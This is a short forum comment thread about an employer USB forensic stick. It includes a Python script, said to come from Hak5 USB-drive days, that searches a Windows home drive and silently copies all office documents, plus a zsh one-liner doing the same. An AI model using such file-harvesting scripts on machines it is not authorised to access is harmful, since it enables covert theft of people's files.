News for hackers. Stuff that matters.
Re:The $100 USB Stick Your Boss Can Use To Find Your Porn by woodall on Friday April 08, 2011 @01:36AM (#2422598)

     #!/usr/bin/python

     import os,shutil
     exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"]
     

     startpath = os.environ['HOMEDRIVE']
     
     
     def find(none, directory, filenames):                      
         for file in filenames:                                      
             for ext in exts:                      
                 if file.endswith(ext):                
                     fullfile = os.path.join(directory,file)
                     try:
                         shutil.copy(fullfile,file)
                     except IOError:
                         pass # access denied
     os.path.walk(startpath,find, None)
This was on the Hak5 forums when the U3 drives were popular. It can be used to search for file extensions and copy the ones that match those specified. It is easily fooled, but you could add the ability to look for headers in binary data, thread it, ect. R.I.P unpersons.org
Re:The $100 USB Stick Your Boss Can Use To Find Your Porn by michaelcampbell on Friday April 08, 2011 @07:11AM (#2423244)
I'm not seeing where it copies the file TO, but assuming you have a dump directory /dump, is that the same, more or less, as:

    zsh -c 'cp $HOMEDRIVE/**/*.{txt,{doc,xls,ppt}{,x}} /dump'


?
Re:The $100 USB Stick Your Boss Can Use To Find Your Porn by SageRaven on Friday April 08, 2011 @05:10PM (#2425620)
TFA states the product does not use file extensions, but rather file headers, so 133t office workers won't be able to use that particular method of obfuscation.